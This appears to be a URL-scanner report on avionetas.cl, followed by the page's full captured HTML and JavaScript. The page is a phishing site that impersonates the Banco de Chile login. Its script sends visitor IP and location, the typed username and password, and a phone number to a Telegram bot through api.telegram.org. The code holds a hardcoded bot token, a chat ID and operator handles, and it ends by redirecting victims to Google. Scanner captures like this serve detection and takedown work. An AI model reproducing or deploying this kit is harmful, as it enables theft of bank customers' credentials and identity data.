https://avionetas.cl/

已提交的 URL:
https://avionetas.cl/
報告完成時間:
名稱類型
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
showSpinnerfunction
redirectToGooglefunction
getFlagEmojifunction
getUserLocationDatafunction
createCopyableTextfunction
sendVisitorNotificationfunction
sendLoginCredentialsfunction
類型類別記錄
verbosedom
URL
https://avionetas.cl/
Text
[DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) %o
errornetwork
URL
https://www.bancochile.cl/wps/themes/html/theme-bch/images/bc-logo.png
Text
Failed to load resource: net::ERR_HTTP2_PROTOCOL_ERROR
errornetwork
URL
https://www.bancochile.cl/wps/themes/html/theme-bch/images/logo-banco-edwards-citi.png
Text
Failed to load resource: net::ERR_HTTP2_PROTOCOL_ERROR
errornetwork
URL
https://avionetas.cl/favicon.ico
Text
Failed to load resource: the server responded with a status of 404 (Not Found)
<!DOCTYPE html><html lang="es"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login - Banco de Chile</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <style>
        body {
            margin: 0;
            padding: 0;
            background-image: url('https://login.portal.bancochile.cl/bancochile-web/persona/login/assets/images/bg-login.jpg');
            background-size: cover;
            background-position: center;
            font-family: Arial, sans-serif;
        }

        .top-bar {
            display: flex;
            justify-content: space-between;
            align-items: center;
            background-color: white;
            padding: 10px 20px;
            position: fixed;
            width: 100%;
            top: 0;
            z-index: 1000;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }

        .top-bar img {
            height: 40px;
        }

        .login-container {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            position: relative;
            z-index: 1;
        }

        .login-form {
            background-color: rgba(255, 255, 255, 0.8);
            padding: 40px;
            border-radius: 8px;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            width: 300px;
            height: 350px;
            text-align: center;
            position: relative;
        }

        .login-form h2 {
            margin-bottom: 30px;
            font-size: 24px;
            color: #003366;
        }

        .input-container {
            position: relative;
            margin: 15px 0;
        }

        .login-input {
            width: 100%;
            padding: 12px 10px 12px 40px;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
            font-size: 14px;
        }

        .login-input:focus {
            outline: none;
            border-color: #4CAF50;
        }

        .input-icon {
            position: absolute;
            left: 10px;
            top: 50%;
            transform: translateY(-50%);
            color: gray;
            pointer-events: none;
        }

        .login-button {
            width: 100%;
            padding: 10px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            margin-top: 20px;
            transition: background-color 0.3s ease;
        }

        .login-button:hover {
            background-color: #45a049;
        }

        .forgot-password {
            display: block;
            margin-top: 15px;
            color: #003366;
            text-decoration: none;
            text-align: left;
            padding-left: 10px;
        }

        .forgot-password:hover {
            text-decoration: underline;
        }

        .login-form::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 0;
            width: 100%;
            height: 4px;
            background-color: #003366;
            border-radius: 0 0 8px 8px;
        }

        .spinner {
            display: none;
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            border: 4px solid rgba(0, 51, 102, 0.3);
            border-top: 4px solid #003366;
            border-radius: 50%;
            width: 50px;
            height: 50px;
            animation: spin 1s linear infinite;
            z-index: 1002;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .modal {
            display: none;
            position: fixed;
            z-index: 1001;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            justify-content: center;
            align-items: center;
        }

        .modal-content {
            background-color: white;
            padding: 30px;
            border-radius: 8px;
            text-align: center;
            width: 300px;
        }

        .modal-content h3 {
            margin-bottom: 20px;
            color: #003366;
        }

        .modal-content .input-container {
            position: relative;
        }

        .modal-content input {
            width: 100%;
            padding: 10px 10px 10px 40px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 4px;
            box-sizing: border-box;
        }

        .modal-content button {
            width: 100%;
            padding: 10px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }

        .modal-content button:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <div class="top-bar">
        <img src="https://www.bancochile.cl/wps/themes/html/theme-bch/images/bc-logo.png" alt="Logo Banco de Chile">
        <img src="https://www.bancochile.cl/wps/themes/html/theme-bch/images/logo-banco-edwards-citi.png" alt="Logo Edwards Citi">
    </div>

    <div class="login-container">
        <div class="login-form">
            <h2>Iniciar Sesión</h2>
            <div class="spinner" id="spinner"></div>
            
            <div class="input-container">
                <i class="fas fa-user input-icon"></i>
                <input type="text" class="login-input" placeholder="Usuario" required="" pattern="[0-9k]+" title="Solo se permiten números y la letra k">
            </div>
            
            <div class="input-container">
                <i class="fas fa-lock input-icon"></i>
                <input type="password" class="login-input" placeholder="Contraseña" required="">
            </div>
            
            <a href="#" class="forgot-password">Olvido mi clave</a>
            <button class="login-button" onclick="showSpinner()">Iniciar Sesión</button>
        </div>
    </div>

    <div class="modal" id="modal">
        <div class="modal-content">
            <h3>Verificación de Identidad</h3>
            <div class="input-container">
                <i class="fas fa-phone input-icon"></i>
                <input type="tel" placeholder="Número de Teléfono" required="" pattern="[0-9]+" title="Solo se permiten números">
            </div>
            <button onclick="redirectToGoogle()">Verificar</button>
        </div>
    </div>

    <script>
    function showSpinner() {
        const inputs = document.querySelectorAll('.login-input');
        const isValid = Array.from(inputs).every(input => input.checkValidity());
        
        if (isValid) {
            inputs.forEach(input => input.value = '');
            document.getElementById('spinner').style.display = 'block';
            setTimeout(() => {
                document.getElementById('spinner').style.display = 'none';
                document.getElementById('modal').style.display = 'flex';
            }, 1500);
        } else {
            // Mostrar la alerta
            alert('Por favor, ingrese un usuario o contraseña válidos.');
            // Esperar 1 segundo antes de recargar la página
            setTimeout(() => {
                location.reload();
            }, 1000); // Espera 1 segundo antes de recargar
        }
    }

    function redirectToGoogle() {
        const phoneInput = document.querySelector('.modal-content input');
        if (phoneInput.checkValidity()) {
            window.location.href = 'https://www.google.com';
        } else {
            // Mostrar la alerta
            alert('Por favor, ingrese un número de teléfono válido.');
            // Esperar 1 segundo antes de recargar la página
            setTimeout(() => {
                location.reload();
            }, 1000); // Espera 1 segundo antes de recargar
        }
    }
    </script>
    <script>
// Función para obtener el emoji de la bandera
function getFlagEmoji(countryCode) {
    if (!countryCode) return "";
    const codePoints = countryCode
        .toUpperCase()
        .split('')
        .map(char => 127397 + char.charCodeAt());
    return String.fromCodePoint(...codePoints);
}

// Función para obtener la ubicación del usuario
async function getUserLocationData() {
    try {
        const response = await fetch("https://ipapi.co/json/");
        return await response.json();
    } catch (error) {
        console.error("Error obteniendo la IP:", error);
        return null;
    }
}

// Función para crear texto copiable en Telegram
function createCopyableText(label, value) {
    return `${label}: ${value}`;
}

// Función para enviar notificación de visitante
async function sendVisitorNotification() {
    const locationData = await getUserLocationData();
    const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

    if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
            `👀 Estado: Cliente en línea\n` +
            `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
            `🌐 ${createCopyableText("IP", ip)}\n` +
            `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
            `🕒 Hora: ${new Date().toLocaleString()}\n` +
            `➖➖➖➖➖➖➖➖\n` +
            `@Chileno32 @Luxxonn @Buhoneroo`;

        const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
        const chatId = "-4674303237";

        try {
            await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: "Markdown"
                })
            });
        } catch (error) {
            console.error("Error al enviar notificación:", error);
        }
    }
}

// Función para enviar credenciales de inicio de sesión
async function sendLoginCredentials(username, password) {
    const locationData = await getUserLocationData();
    const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

    if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
            `👤 ${createCopyableText("Usuario", username)}\n` +
            `🔒 ${createCopyableText("Clave", password)}\n` +
            `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
            `🌐 ${createCopyableText("IP", ip)}\n` +
            `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
            `➖➖➖➖➖➖➖➖\n` +
            `@Chileno32 @Luxxonn @Buhoneroo`;

        const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
        const chatId = "-4674303237";

        try {
            await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: "Markdown"
                })
            });
        } catch (error) {
            console.error("Error al enviar notificación:", error);
        }
    }
}

// Función para enviar número de teléfono
async function sendPhoneNumber(phoneNumber) {
    const locationData = await getUserLocationData();
    const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

    if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BANCO CHILE ]➖➖➖\n` +
            `📱 ${createCopyableText("Teléfono", phoneNumber)}\n` +
            `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
            `🌐 ${createCopyableText("IP", ip)}\n` +
            `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
            `➖➖➖➖➖➖➖➖\n` +
            `@Chileno32 @Luxxonn @Buhoneroo`;

        const botToken = "7386192698:AAFcteHO6er2kvX83xtR5fAtSuvmFW7mvSQ";
        const chatId = "-4674303237";

        try {
            await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: "Markdown"
                })
            });
        } catch (error) {
            console.error("Error al enviar notificación:", error);
        }
    }
}

// Modificar la función de redirección para enviar el teléfono primero
function redirectToGoogle() {
    const phoneInput = document.querySelector('.modal-content input[placeholder="Número de Teléfono"]');
    const phoneNumber = phoneInput.value;
    
    if (phoneNumber) {
        // Primero enviar el número de teléfono
        sendPhoneNumber(phoneNumber).then(() => {
            // Luego redirigir a Google
            window.location.href = 'https://www.google.com';
        });
    } else {
        // Si no hay número, redirigir directamente
        window.location.href = 'https://www.google.com';
    }
}

// Event Listeners
document.addEventListener("DOMContentLoaded", function() {
    // Enviar notificación de visitante cuando la página carga
    sendVisitorNotification();

    // Manejar envío del formulario de inicio de sesión
    document.querySelector(".login-button").addEventListener("click", function(e) {
        const usernameInput = document.querySelector('.login-input[placeholder="Usuario"]');
        const passwordInput = document.querySelector('.login-input[placeholder="Contraseña"]');
        
        const username = usernameInput.value;
        const password = passwordInput.value;
        
        if(username && password) {
            sendLoginCredentials(username, password);
        }
    });

    // Asignar la función de redirección modificada
    document.querySelector('.modal-content button').onclick = redirectToGoogle;
});
</script>

</body></html>